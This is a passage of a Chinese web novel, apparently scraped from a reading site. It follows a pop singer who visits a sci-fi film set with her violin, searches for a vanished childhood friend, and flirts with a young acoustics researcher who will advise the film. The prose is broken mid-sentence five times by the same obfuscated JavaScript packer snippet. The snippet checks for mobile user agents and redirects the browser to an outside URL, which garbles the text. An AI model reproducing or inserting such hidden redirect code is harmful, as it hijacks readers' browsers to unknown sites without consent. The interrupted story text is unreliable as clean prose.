“曼姐回来啦!” 乌曼因调戏完青涩的crush,心情很好,她一路哼着自创的小曲,背着小提琴包,插着兜,酷酷地出现在了《信使》电影的拍摄现场。 一路走来,大家都热情地和她打着招呼,乌曼因也一一回应。 目前的拍摄场地坐落于燕郊的一座破旧厂房内。 齐羽生不在,留在片场的都是其他功能组成员和小演员。 调度井然有序,杂而不乱,每个人都忙于自己的工作。 范略花钱的精打细算完全展露无遗,把每一分钱都花在了刀刃上。 乌曼因见证了范略把他纸上的幻想一步步在现实里搭建了起来,像是在创造自己的世界。 真音姐跟在她身后,脸上绷着身为当红歌手经纪人的体面表情。 眼神高傲且挑剔地扫过片场的每个角落。 从破旧的厂房场地,到没有一个能叫得上名字的演员。 只有布景和某些很有科幻实感的自制道具才让她觉得稍微有点看头。 乌曼因轻车熟路地在厂房的尽头找到了坐在监视器前的导演范略。 范略正缩在椅子里,和副导演一起聚精会神地看着监视器里的画面,并没有注意到乌曼因的到来。 “不对,还是不对。”范略喃喃自语,“我们缺少一些东西。” 副导演“唔”了一声,问:“什么东西?” “一些科学的精神,因为我们实际上并没有人能真正理解音乐背后的物理本质,我们的台词非常苍白……科幻电影不应该是这样的。” 他边比划边说:“我们需要更专业的人来替我们把关和打磨剧本。” 一道声音忽然插入打断了范略的沉思。 乌曼因在背后和他们打招呼:“范导、付导,好久不见呀。” 范略回头一看,高兴地说:“你来了啊,我们可等着你说的小提琴很久了。” 他看到了乌曼因身后的真音姐:“这位是?” 乌曼因介绍:“我的经纪人,江真音,到时候剧里音乐的版权,都是和真音姐沟通的,我不懂。” 真音姐露出一个无懈可击的微笑。 “哦哦,幸会幸会。” 客套完,乌曼因假装叹息:“果然没有想我,光惦记着我的小提琴了。” “没有的事,主角不到场,我们这几天拍戏都没劲儿了。” “你就瞎说吧,我一客串的,算什么主角,”乌曼因解下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323437|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小提琴包,“对了,你刚说需要专业的人,是什么人?” “声学领域的科学家,”范导说,“我们现在的剧本太想当然了,想要展现声学真正的魅力,还得请专家来指导。” 真音姐用一指禅戳乌曼因腰子,站在背后偷偷咬耳朵:“我跟你说,这种骗子我见多了,等会他一定会说自己多么多么有人脉,上面有关系,别人请不来的大佬我手拿把掐……” 范导乐呵呵地对乌曼因说:“不过这个不用你担心,我们电影还获得了中科院声学所的支持呢,两天后有所里专家过来指导,到时候我们再根据他们的意见改下剧本,科学性也不用担心了。” 感受到腰上的力道变化,乌曼因抽了抽嘴角,想让他少说两句。 本来真音姐就觉得他是个骗子,现在估计更坚信自己的判断了。 “我跟你说,这种套路我见过太多了,说是专家,其实就是哪个野鸡大学博士生,不,都不一定是博士生,野鸡本科生吧。”真音姐继续在她耳边絮絮叨叨。 乌曼因:“……” 只能寄希望于范导找来的人靠谱点了。 …… 中科院声学所。 折敛将难以下咽的最后一根青菜放入口中,总算结束了今天的卡路里摄入。 他有一些进食障碍,为了不让自己饿死,只能在算好最佳卡路里和膳食纤维摄入后,每天强迫自己填鸭一样咽下复制黏贴的食谱。 折磨结束。 他正要端盘子离开食堂时,忽然发现他挂名的院士导师笑眯眯地坐在了他身前。 很显然来者不善。 折敛长期在外地借调,只有待遇是从声学所出的,这点上便宜导师对他很不错,行政流程一直是导师叫人帮忙跑的。 看在这份上,他到底还是没直接走人,用眼神示意导师有话直说。 导师果然有备而来,清了清嗓子: “前几天中影发了个邮件过来,说有导演正在拍摄一部关于声音的科幻电影,行政那边认为可以合作,询问我们有哪个老师有时间方便去兼职驻场指导,津贴不缺。” 中影全名中国电影集团公司,是隶属于中/宣/部的国企。 人家有扶持电影的硬指标,声学所需要扩大名气招生招PI,双赢。 确实是好事,所以所里也不好意思随便派个研究生把对方打发了,讨论下来决定由一个教授组建两三人团队全职前往,大概驻一个月的场,津贴由剧组和声学所共同承担。 “目前所里职称最高又闲着没事的,只有你了,反正这段时间你也回不了厂里,就当休个假吧。”导师拍拍他肩膀。 “……” 他就知道这个总是劝他多出去和人说说话的老家伙没安好心。 10. 提琴和数学 在乌曼因的理念里,带真音姐拜拜码头,大家就算朋友了。 至于他们之间的误会,哎,以后的事情以后再说。 反正真音姐心软,最多嘴上骂骂,又不能拿范导和他的剧组怎么样。 接下来就是重头戏了。 她今天鸽了crush跑到这儿,可不只是为了聊聊天、巡视进度来着。 乌曼因把亲自保养了一遍的小提琴从琴包里剖出来。 这把小提琴,油润的色泽浸润到木制的琴身里,纹理细腻、色泽均匀,琴弦紧绷,充满着昂贵的气息。 范导和付导好奇地围上来,知道这是他们之后电影里要经常出现的重点道具。 一看就和乌曼因之前随手拿来演奏的便宜货不一样。 乌曼因手指抚过琴弦,向他们介绍:“这把小提琴是斯特拉迪瓦里的仿制品,虽然是仿制品,但是用料和工艺都很接近,原版的斯琴没有经过维护的话,可能也比不上它,我花了一百多万美元从一个拍卖会上买回来的。” 范导虽然不懂乐器,但他懂一百万美元。 望向小提琴的目光不由得肃然起敬。 “配得上咱们的电影吗?” 两位导演立马点头:“配,太配了。” 付导掏出手机“咔咔咔”为小提琴拍了不少美照。 他欣赏着自己手机里的照片:“指不定后面宣传图用得上。” 用小提琴做宣图,乌曼因想象了一下,忽然触动到脑海中回忆的零星碎片。 彼时她从李藏之的书堆里翻出了一本封面上印着小提琴的破旧的英文书,以为是小提琴教程手册,还欣慰终于有本她能看懂的书了。 打开一看。 什么天书。 “说起来,小提琴可能是唯一一个登上数学课本的乐器呢。”乌曼因想起记忆里的那本书,道。 “咦,为什么这么说?”范略问。 “因为小提琴的f孔,非常像积分符号,”乌曼因摩挲着提琴华丽的琴身,顺着f孔边缘划下,“美国最知名的微积分教材《斯图尔特微积分》,封面就是一把小提琴。如果问美国人,最数学的乐器是什么乐器,我觉得他们应该会回答小提琴。” 在场唯一上过大学高数的范导把目光落到琴面上,眼睛一亮:“确实。” “f”的横几乎不可见,竖线倒是胖乎乎的。 像极了积分符号∫。 那时正在为了她学习乐理的李藏之向她介绍了这本书,然后道: 积分符号∫的最初使用者莱布尼兹曾经说过,音乐是一种隐藏的数学练习,是心灵在无意识处理数字的过程。 乌曼因没想到,她的随口一句话让范略陷入沉思,大脑迸发灵感碰撞的样子。 …… 导演拿起了自己的手稿涂涂改改。 乌曼因则闲不住地擦好琴弓,松松肩膀松松腿,做足了前期准备。 “来来来瞧一瞧看一看啊!”乌曼因说着,手脚并用爬上了搭好的舞台,“我给大家表演一曲小提琴。” 真音姐不忍卒睹地撑住额头,不想承认这个猴子是她带出来的歌手。 原本热闹的、窸窸窣窣的场地逐渐安静了下来,剧组的工作人员或好奇或凑热闹地从各种角落里钻出来,陆续走到台边,仰头看着这个知名的歌手。 她耀眼得仿佛在发着光。 真的在发光。 摄影组的组员看热闹不嫌事大,把追光灯的灯光打在了舞台的正中间、乌曼因的身上。 场景的幕布并没有搭好,一半华丽,一半露出朴素的金属骨架。 丁达尔效应下,微尘变成了飘荡的漫天星屑。 乌曼因卸下了曾经在舞台上厚重的妆容,她穿着最普通的衣裤,扎着散漫的丸子头,素颜上阵。 手持琴弓搭在琴弦上。 流畅的音符从她的之间倾泻而出。 纤细又悠扬,仿佛能穿透心灵的最深处,触动灵魂的旋律。 她以为她很久很久没有练习过小提琴了,但是音乐的记忆被固定在关节和她大脑的深处。 就如同她十五岁、还是十六岁练琴般流畅,甚至还多了几分洒脱。 她不再是为了任何人而练琴。 所有人不再聊天说话,安静地听着。 乌曼因的存在本身就是一场华丽的盛会。 她微笑的表情充满了生机与活力,仿佛能冲破一切阻碍,将激情与力量传达至每一个人。 当最后一个音符停止的时候。 范略和付导热烈地带头鼓起了掌。 看热闹的工作人员也很给面子,要不是地方实在不对,他们高低得上台送几束花捧个人场。 乌曼因很自得地给所有人一个飞吻,爬下了舞台。 “几乎就是我梦中的场景,”范略说。 他“哗啦啦”地翻过自己的手稿,把一页纸递给乌曼因,那时一副大跨页的黑白素描。 明暗张力下,天使一般的主角在她的舞台上独奏小提琴。 乌曼因还回去:“那恭喜啊,梦想成真。” 范略轻笑:“多谢了啊。” 真音姐挤过来,盯着她问:“曲子倒是没听过,是现成的小提琴曲还是你自己写的?” 关注点就是不一样。 乌曼因觉得真音真是指望她写新曲想魔怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323438|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了:“同样是那朋友写的,只不过一首没有感情全是技巧的曲子。” “……”真音姐,“不可能。” “真的,不骗你。” 范略来了好奇心:“怎么就没有感情全是技巧了?” 乌曼因轻笑:“这是我朋友一边学作曲一边写的练习曲,据他说,所有的音分位点都是他算出来的。” 范略重复自己没听懂的词:“算?” “是啊,他说据他观察,乐曲的结构无非也就那么点曲式、调式、旋律和织体,舒伯特的《圣母颂》,全曲72拍,高潮约在44拍处(72×0.618≈44.50),完美符合黄金分割,然后再采用经典ABA''三段式,计算了自己共鸣体系,大量地使用微分音构成旋律。” 叽里咕噜说了一大通,把对面几个人绕得眼晕晕的,乌曼因反问: “所以你们觉得这首曲子怎么样?” 范略沉吟了一下,没敢说刚才场景那么唯美,提琴音色那么嘹亮,人那么漂亮,唯一的败笔就是曲子,委婉道:“没什么感觉。” “没感觉那就对了,这是一首绝对正确的曲子,只是不好听,”乌曼因听到这评价反而笑了,“那家伙写完这首曲子后大受打击,知道音乐不只是平均律计算那么简单的东西,写歌踏实多了。但是这首曲子作为练习曲目还是很不错的,毕竟很少有曲子这么公平地照顾到每个音符。” 因为这是一直以来天才过头到自负的李藏之难得吃瘪,乌曼因乐呵了很久,觉得自己这辈子都忘记不了他当时难看的脸色了。 挺可爱的。 真音姐注意到,她提起“那个人”时,唇边总是带着真挚怀念的笑意。 …… 哪怕没有那朵莲花蜡烛,乌曼因也知道、她答应范略邀请的那一刻就意识到,她不可能真的忘记李藏之这个名字,以及有关他的一切。 是李藏之那个小鬼塑造了今天的乌曼因。 她和李藏之说的最后一句话是什么? 是什么呢? 那是记忆里和小鬼的最后一次见面,她要去北京比赛,没有高铁的年代,需要乘坐大巴到省城,再从省城坐火车到北京。 他第一次走出黄钟县,送她去省城。 他们当时已经很少说话了。 在大巴上,他依然抱着一本书在写写画画。 “为什么在大巴上还要做题,很伤眼睛的。你都不上学了,学习还有什么用。”乌曼因把他的书拿走。 “永远不要放弃学习。” 他没有反抗,没了书的他抬起头,空茫地望着车窗外的黄昏,说:“它能把你带到肉/体达不到的、思想的彼岸。” 11. 寻找李藏之的第一步 现在想来,这话居然从一个蜗居酒吧的辍学人士嘴里说出来。 实在是有点黑色幽默了。 以前从来没想过的许多问题忽然涌上她的脑海。 李藏之大概十四五岁样子,就算他没有父母在身边,监护人呢,义务教育没有抓他去上学吗? 黄钟县作为经济发达的百强县,酒吧业都发展得风生水起,怎么连个失学少年都无人过问? 她知道这个社会有很多意外,但,为什么会是李藏之。 …… “你说,如果我现在致力于找出一个十年前的人,难度大吗?”从厂房片场出来的路上,乌曼因问真音姐。 “我觉得还是挺容易的吧,”真音姐知道她说的是谁,想了想,“现代社会,出生要建档,九年义务制教育学校也有档案,这怎么会找不到。” 要是找不到人,她为乌曼因发行爆款单曲的梦想不就破灭了? 这可不行。 “你说的对,”乌曼因说,“看来我得先找一些老朋友算算帐了。” 她把真音姐送到公司后,回家翻出了以前用过的手机,插上电,开机。 从电话簿的开头往下一直划。 划过一个个陌生又熟悉的老朋友。 吉他手南吕、鼓手庞清、贝斯手姬无射…… 每一个名字背后带着一段回忆。他们都曾经是梦想的同路人,然后在人生的道路上渐行渐远,最终变成了列表里一串不会被拨打的数字。 乌曼因躺在床上,出神地举着手机,最终选定了一个不上不下的名字。 …… “谁啊谁啊,”电话那头的男人大大咧咧地说,“有什么事情吗?” 过了两秒,手机听筒依然没有动静,他没有什么耐心,就说:“我挂了啊。” 乌曼因说:“是我,乌曼因。” “乌曼因你——”过了一会男人才反应过来,迟钝的声音响起,“你换了手机号啊。” “嗯,我原本的手机公司换了。” 沉默了一会儿,大概两人都不知道如何跟几年没有联系的老家伙对话。 最后还是男人先打破了电话两端的沉寂。 “怎么大明星忽然有空来找我了,你不是一直都不喜欢我吗?”男人的声音散漫。 “我当然看你不顺眼,”乌曼因很不客气地说,“你这个欺骗女生感情的人渣。” “……”庞清气极反笑,“曼姐成名多年后忽然打我电话,就为了骂我一通?是觉得电话费太多了吗?” “当然不,我有事要问你。” “你这是求人的态度?” “不是求人,”乌曼因纠正,“只是问你一件事而已。” “不回答,再见。” 男人说着就要挂电话。 “你十年前骗了我,为什么?”乌曼因赶在他挂电话之前问,“你和李藏之关系同样并不好,为什么会帮助他骗我?” “李藏之”这个名字,像是一个开关,制止了庞清的动作。 庞清“哼”了一声,下意识反驳:“帮他?我可没有。” 十年前的事情太遥远了,久到他连对乌曼因的讨厌都变得模糊,可听到“李藏之”这个名字的厌恶还是条件反射般控制了他的大脑。 厌恶之外,还有一层隐隐的不安和忌惮。 乌曼因根本不知道李藏之是谁。 这个只看脸的家伙,居然会把李藏之当柔弱无依的弟弟宠,给他分享吃的喝的玩的,生怕他饿死。 在,黄钟县,把李藏之,当,金屋藏娇,的,娇。 疑似黄钟县社区矫正的社工人员调任失败后又见到熟人被提溜进来晕倒前的幻想。 那时乌曼因将身后亦趋亦步的阴暗小鬼介绍给他们,说这是她小弟的时候。 庞清和一众乐队小伙伴们看清李藏之那张脸后,眼前一黑。 有的人,年纪轻轻眼睛就瞎了。 “我没有帮他,我只是看到你找不到他后那么伤心,不介意让你更伤心一点。” 庞清扯了扯嘴角:“恰巧那个时候你失魂落魄的,逢人就问‘李藏之怎么可能不存在,你知道李藏之吗’,我当然想和你唱唱反调。” “别把锅都推我身上,我只顺着说了那么一句而已。” 乌曼因沉默:“谁知道你的那一句,是不是最后一根稻草。” 她游荡在黄钟县的大街上,彷徨又无措,她找不到李藏之,在众人的异口同声否认下怀疑自己是个有着妄想症的精神病。 “听说哆来A梦也只是大雄的一个梦,”曾经庞清嘲笑的声音若隐若现,“事实上大雄只是一个精神分裂后逃避现实的loser而已,你是吗?乌曼因。” 然后乌曼因几乎逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323439|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑一样离开了黄钟县。 李藏之这个名字,从此消失在了她的世界里。 …… “所以,这个世界上真的有‘李藏之’这个人,对吗?” “当然,”庞清说,“其实我也不知道你为什么会相信这种显而易见的鬼话,可能你当时中二期吧。” 中二期的乌曼因:“……” “庞清,”乌曼因说,“带我去找他。” “我不,我为什么要帮讨厌的人找另一个讨厌的人?” 庞清觉得乌曼因这个人真是蹬鼻子上脸。 好好说话她跟听不懂似的。 当年也是,整天嘴里都是“藏之、藏之、藏之”。 李藏之那种自闭神经病、心狠手黑豆芽菜有什么好喜欢的。 一个小矮子,跳起来都打不着他的膝盖。 他的自信还没有超过两秒。 “你会帮的,你现在工作的琴行是我朋友开的,”乌曼因幽幽地说,“你忘了?是我把你介绍给她的。” 这回轮到庞清:“……” 可恶。 惹不起的女人。 他张张嘴,发现没法说硬气话,只能憋屈地怂了: “先说好,找上我算是你找错人了,我完全没有他的联系方式,连他是死是活都不知道。” “别提‘死’,太不吉利了,”乌曼因“呸”了两声,“也没指望你帮我找到人,只是想有个本地人给我带下路,我都这么多年没回黄钟县,酒吧门朝哪边开都忘记了。” 工具人导游庞清:“……” 乌曼因找上庞清,自然不是因为和他关系好。 只是当年乐队的人散在天南海北,唯有鼓手庞清是留在省城工作的。这家伙虽然浑身上下都是乐队男的臭毛病,但难得对父母非常孝顺,不愿意离家太远。 挂电话前,庞清最后忍不住问: “所以时隔这么多年,你找他做什么?” 乌曼因躺在沙发上,想起真音姐的夺命连环催,其实她想要找到李藏之的念头远没有那么功利,只是遵循自己内心的本能: “……大概是说句谢谢吧。” 在酒吧那种灯红酒绿,充满了诱惑与迷醉的地方,肾上腺素泛滥、物欲横流,如果不是李藏之永远清醒冷酷,她未必会在和家人闹翻以后、从名为“自由”的幻梦里醒过来。 12. 折敛 由于把工作都被挤到上半月的关系,乌曼因忙得昏天黑地,拍完广告当嘉宾赶场,一天有25小时在忙工作。 七月中的晚上,自觉已经处理完成全部工作的女明星拖着疲惫的身子回到家中,往床上一躺,把自己陷入绵绵凉凉的空调被里,蹭了蹭,舒服地喟叹一声,正要美美地沉入迷糊梦乡。 总觉得好像忘记了什么事…… 不对啊,真音姐发来的工作表已经全部打完钩了,要是有事情没做她会打电话的…… 垂死梦中惊坐起。 不对。 曲子忘记去拿了啊啊啊啊啊。 她这几天居然为了工作,完全把维修店的貌美crush抛到了脑后。 乌曼因连滚带爬地从床上弹射起来,打开微信界面,努力支愣起眼皮,望着停留在几天前的聊天页面:“……” 窒息。 对方也不再回复,彷佛忘记了她这个人。 乌曼因再往上翻了翻。 折敛:复查助听器功能而已。 折敛:可以拖几天的,等你来了我再去。 乌曼因难得愧疚,他不会真的拖到现在还没去复查吧。 她点开折敛的朋友圈,同样是一片雪白,设置仅三天查看,充满了“拒绝交流”的高冷。 和折敛本人冷淡的气质不同,他的头像是那只有名的蓝色机器猫,[哆啦A梦躺尸.jpg],微信名叫DoRe。 这又显得很可爱了。 听说国内技术宅都是二次元,二次元头像是实力的象征。 乌曼因试探性地发了个问号。 乌曼因:? 折敛:。 这个夜猫子也还没有睡觉。 乌曼因:还没睡,不会还在做模型吧? 折敛:…… 折敛:[模型图.jpg] 照片拍的地点仍然是在修理店的小工作台上。雪亮的无影灯照着骨节分明的手指、薄皮包凸起骨头的手腕,衬得黑色精巧的模型都显得小巧逊色许多。 不知道是不是错觉,乌曼因总觉得从这张照片里看出了类似擦边博主的心机。 ……哈哈,错觉吧,一定是最近男菩萨看多了。 乌曼因一边唾弃自己,一边身体很诚实地保存照片。 冷白色又带着青筋的手实在是太好看了。 乌曼因:我这几天超级忙,一不小心就把蜡烛忘了orz不过我明天可以过来拿≡ω≡ 过了一会儿,折敛才回复。 折敛:没事 折敛:我知道你忙。 乌曼因:你去复查耳朵了吗? 折敛:嗯。 乌曼因:感觉怎么样? 折敛:还好。 聊了一会儿,乌曼因敏锐地感觉到折敛的情绪不太对劲,似乎不太想搭理她,但又不首先结束话题。 他们这旮旯一般管这叫欲拒还迎。 哦,他生气了。 乌曼因模模糊糊地想,又没有很生气。 那好办,男人嘛,哄一哄就好了。 她直接一个视频电话打了过去。 大概这个电话吓到了折敛,等了好一会儿,视频才被对面接通,但镜头前一片漆黑。 “你人呢?”乌曼因靠在床头,举起手机,确保自己那张好看的脸完整地呈现在镜头里,拨了拨头发,心机地垂下两缕刘海。 “……” 沉默几秒,折敛将堵住镜头的手指挪开。 手机被他竖着搁在桌面上,死亡角度的镜头斜下从他弧度优美的下颌角拍全了他的脸,喉结轮廓明显,折敛的头发有些长了,略微遮住了眼睛,这让他看着有些显小。 落下来的眼神跟羽毛似的,扫得人心痒痒。 不知道为什么并没有继续做他的模型,而是捧着一本书安静地看。 像男大。 乌曼因忽然问:“你几岁来着?” 折敛:“……25。” 乌曼因捂脸。 虽然她嘴上一直说不要姐弟恋,但是从来没有把抽象的口号代入具体的人过,只是前几个男友都恰巧比她大而已。 仔细想想,28也就比25大了3岁。 如果是折敛这么乖巧的性格,这么貌美的脸的话…… 可以接受可以接受。 总之先把嫩草泡到手再说,先品尝再批判。 折敛不知道她为什么忽然问年龄,轻声问:“25岁怎么了吗?” 他不动声色地观察着乌曼因的微表情,生怕她从这个年纪想起来什么,一时又有点后悔。 谁知乌曼因说: “25岁就不能叫你折哥了。” “……”折敛说,“不要学万元。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323440|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 乌曼因觉得逗他很有意思:“那你叫一声姐姐?” 折敛不肯叫了。 乌曼因想起他的学历。 “25岁就已经博士毕业了吗?” “还没有,算是在读,”折敛垂眼,“小时候跳了很多级,现在硕博连读。” “真厉害,我读音乐硕士的三年是我人生中最漫长的五年。”乌曼因想起自己的求学经历就心有余悸。 别说提前了,不延毕就万岁。 乌曼因心里默默继续掏出男友计分本。 是个学霸,再加一分。 话说长了,乌曼因才注意到折敛的咬字很平,音调古怪,有点像出国久了忘记怎么说中国话的留子。 折敛解释这是因为他之前有段时间几乎完全失聪,听不见自己发出的声音和语调,没办法纠正发声。 很多聋哑人都不是功能性哑巴,只是听不到声音,自然而然就哑了。 “说话会很难听吗?”他问。 他下意识摸了摸耳朵上的助听器,眼神微黯。 “不难听,很独特,”乌曼因猛摇头,“所以你的耳朵不是天生的?” 折敛摇摇头。 “那是生病了吗?” 折敛依然摇头:“是车祸。” 乌曼因露出可惜的神色。 折敛解释:“不是很严重,带上助听器基本可以恢复大部分听觉,生活里是没有什么影响的。” 这不是实话。 折敛下意识看了乌曼因一眼,才发现自己又撒了谎。 他的听力天生远超常人,意外的车祸直接重创了他的听觉神经,现代医术保全了他基本的听力,但他再也无法捕捉到频谱细微的分音振幅差距,和节奏律动。 作为一个极其偏科的作曲人,他的创作除了数学分析以外,几乎全部依赖自己的耳朵,分辨出声音的动态和密度,来决定曲子的音高布局。 听力的减弱,完全导致了他没有办法像以前那样,帮助乌曼因修改旋律,为她的歌进行听感上的调制编曲。 即使在乌曼因眼里,他已经不是李藏之了,但保证自己“有用”已经成了一种本能。 可是这回他是真的没有用了。 乌曼因完全没有注意到他的回避,满眼都是美人失落,更心疼了。 美强惨,加加加加分加到厌倦。 13. 学历不达标 折敛是个很不错的聊天对象。 听她漫无目的叭叭,会很给面子的“嗯”一声表示捧场,也不管她是在讲公司的讨厌高管还是讲明年的演唱会计划。 神游得明目张胆。 但视频的好处就凸现出来了。 零零碎碎的动静不多,两边冷清的房子里都增添了些许人气。 偶尔出现突发情况,比如乌曼因发现衣服烘好了,把手机撂下跑去收衣服,他也不催,垂下眼,继续看自己手上的书。 乌曼因不知道为什么,在折敛面前特别放松,好像笃定他是可以信任的人。 很自在。 像是很久以前他们已经这么相处了。 “你怎么不做模型了?” “有些材料没有了,等快递到了再做。” “居然也不玩手机,好养生……” 折敛瞥了瞥还在视频通话的手机,终于让乌曼因反应过来,对哦,手机被她占了。 她讪讪一笑:“咳,不玩手机对眼睛好,经纪人总是让我少玩,说容易肿泡眼,伤颜值。” 折敛抬眼,端详了一下她的眼睛,圆而软,睫毛卷翘,依然漂亮,只是似乎有些淡淡的疲惫。 他忽然意识到乌曼因是撑着睡意给他打电话的。 为什么呢?是有什么事情有求于他,还是怕他跑路? “时间不早了,我明天在店里等你,你先睡吧。”折敛低头,又翻了一页书。 “那晚安。”乌曼因躺下,把被子拉起,边打哈欠边说。 自觉和美少年拉进了不少关系,乌曼因心满意足。 今天也是雌性激素被调理好的一天。 折敛看了她好一会,险些让她以为自己脸上沾了什么脏东西,才轻声道:“晚安。” “明天见。” “……明天见。” …… 放假的第一天,乌曼因睡了个昏天地暗,闹钟响了又停,也没把她叫醒。 等她揉揉惺忪的眼睛,手从空调被里探出,捞过手机。 已经中午十二点了。 ……原来是饿醒的。 乌曼因找了两块全麦面包和一根黄瓜填肚子,把自己一团乱的头发抓出勉强能看的造型。 一出门,乌曼因就后悔了,嘴里哼的轻快调子随着气温的升高,恹恹得低了一个大调。 这被牛舔了一口般的狗屎天气。 街道上没什么人,汽车倒是不少,不过北京的车子从来没有少过。 中午的路面暴晒到反光,乌曼因怀疑再这样烤下去沥青都得化了。 反正她要化了。 到了修理店附近停车,胡同小巷杂乱,白天和晚上完全是两个世界。 乌曼因带上鸭舌帽和墨镜,对比街景和地图,发现自己居然又忘了附近的路,找了半天才找到店门。 万元不在,说是去上门维修了。 折敛一个人坐在柜台前看书。 差点热死的乌曼因擦着汗推开门的时候,乍一眼有些恍惚的既视感。 仿佛穿越了时间。 李藏之也很喜欢看书。他看书时总是左手持着中脊最上方,用单手翻页,另一只手拿着笔在纸上写字。 尤其喜欢缩在角落里,一边警惕靠近的人类,一边低头埋首于书籍。 但如果说他是爱书的人…… 这个人对于书本的态度相当功利,他并没有爱护书本的习惯,看完的书对他来说就等同于一叠废纸。 书页里总是挤满了他的鬼画符,卖都卖不出去。 乌曼因把这丝熟悉感归结为手机流行时代难得找到一个爱看书的人。 至于折敛用同样的姿势拿着笔…… 他的握笔方法比李藏之那狗爪子标准多了,赏心悦目。 和李藏之那种野人不一样,折敛是受过义务教育浸润的优秀学生。 乌曼因走到他身边:“在看什么?” 好奇地探出头去。 略长的头发扫过折敛肩膀,让后者笔尖一顿。 范略的笔触乌曼因熟悉得闭着眼睛都能摸出来,看清的那一刹那,乌曼因满脑袋都是问号。 “《信使》剧本?”乌曼因诧异,“你怎么会有?” 范导招人招到了手机维修店里了吗,业务这么广? 就算做道具也不用给剧本的吧。 乌曼因的脑子“嘎巴”一下不够用,宕机了。 折敛倒是不意外,看了看手里的剧本,果然是乌曼因投资的那个科幻电影。 他拿到剧本的时候就有所预感,参与国内科幻电影的冤大头不多,应该不至于同一时间出现两部卧龙凤雏。 “导师给的,”折敛说,“他说让我去做一个月的指导。” 乌曼因沉默,作为电影的投资人,她望着折敛这张年轻花瓶的脸,实在说不出“信任”两个字,脑子和舌头同时卡了壳:“你是中科院声学所的?” 折敛“嗯”了一声。 她比范略还提前一步见到了他心心念念的科学顾问。 堪称大隐隐于市。 乌曼因:“……” 这就尴尬了。 原本想好的满肚子撩汉骚话全部卡住,旖旎被绝望的事业心“啪叽”一下创伤了,伶俐如乌曼因一时间也说不出别的话来,心里只剩下一个念头: 世界真是个草台班子。 “除了你还有别人吗?” “还有两个我带的研究生。” “……”乌曼因问,“现在博士要带研究生了吗?” 折敛迟钝地感受到了乌曼因的不信任,连忙开口解释:“我并不是真的博士在读。本来今年六月计划毕业入职声学所,职称聘书已经给我了,因为车祸所以不得不事故推迟。” 他被迫说了恢复期最长的一句话。 其实还想说更多,只是脑子先一步顿住了,不安地抠着椅子。 他想要找证据来证明自己专业性时,才发现尴尬的是—— 在走完流程拿到博士毕业证前,声学所聘书不生效,他的名字简历不会被挂上官网。 而且他平常并不在声学所工作,研究成果几乎全部属于受管制的内部刊物材料,不能公开。 折敛自打复学后,从来没想过自己会有被质疑能力这么一天。 从小他就因极高的智商受到关注,所有人都夸他是天才,学术道路一路顺风顺水,IMO金牌满分保送南大,选声学这种冷门专业后更是校方的香饽饽、导师眼里的稀世奇才,推荐信直接包办,连奖学金都紧着他… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323441|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …第一次遭受如此巨大的信任挫折。 最后折敛只能登录学信网,证明自己是南大声学本科毕业,而且确实是声学所的在读博士。 冰冷的世界只有学信网还有一丝温暖。 展示完,他忐忑地等着乌曼因回应。 乌曼因被他的小心翼翼逗笑了,抵着手腕掩盖自己的笑意。 还在读书的小朋友就是好玩,有种没被社会大染缸玷污的清澈愚蠢。 娱乐圈的老油条子哪有这么清纯,早觍着脸求她当担保人了。 